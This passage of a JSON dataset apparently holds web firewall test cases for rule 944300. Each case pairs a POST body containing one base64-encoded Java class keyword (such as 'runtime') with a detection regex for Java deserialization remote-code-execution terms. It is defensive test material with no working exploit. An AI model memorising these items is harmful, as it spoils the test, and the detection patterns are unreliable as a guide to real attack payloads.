"", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Argument name includes keyword cnVudGltZQ" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"cnVudGltZQ\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "XML attribute value includes keyword cnVudGltZQ" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">cnVudGltZQ</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "XML element value includes keyword cnVudGltZQ" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">cnVudGltZQ</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Nested XML element value includes keyword cnVudGltZQ" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=cnVudGltZQ" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type text/plain includes keyword cnVudGltZQ" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"cnVudGltZQ\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type application/json arg value includes keyword cnVudGltZQ" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"cnVudGltZQ\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type application/json arg name includes keyword cnVudGltZQ" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=HJ1bnRpbWU" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Argument test includes keyword HJ1bnRpbWU" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "HJ1bnRpbWU=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Argument name includes keyword HJ1bnRpbWU" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"HJ1bnRpbWU\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "XML attribute value includes keyword HJ1bnRpbWU" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">HJ1bnRpbWU</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "XML element value includes keyword HJ1bnRpbWU" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">HJ1bnRpbWU</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Nested XML element value includes keyword HJ1bnRpbWU" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=HJ1bnRpbWU" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type text/plain includes keyword HJ1bnRpbWU" } }, { "input": { "malicious_payload": [ { "location": 